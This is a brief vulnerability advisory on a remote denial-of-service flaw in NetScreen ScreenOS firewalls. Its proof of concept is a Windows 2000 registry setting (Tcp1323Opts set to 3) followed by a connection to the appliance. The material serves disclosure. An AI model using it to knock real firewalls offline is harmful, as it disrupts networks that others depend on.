NetScreen ScreenOS TCP Window Size Remote Denial Of Service Vulnerability

Modifying registry values on a Windows 2000 system, to reflect the proof of concept below, and connecting to an affected appliance is sufficient to demonstrate the issue:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters
New DWORD Value

Tcp1323Opts
HEX
3


 

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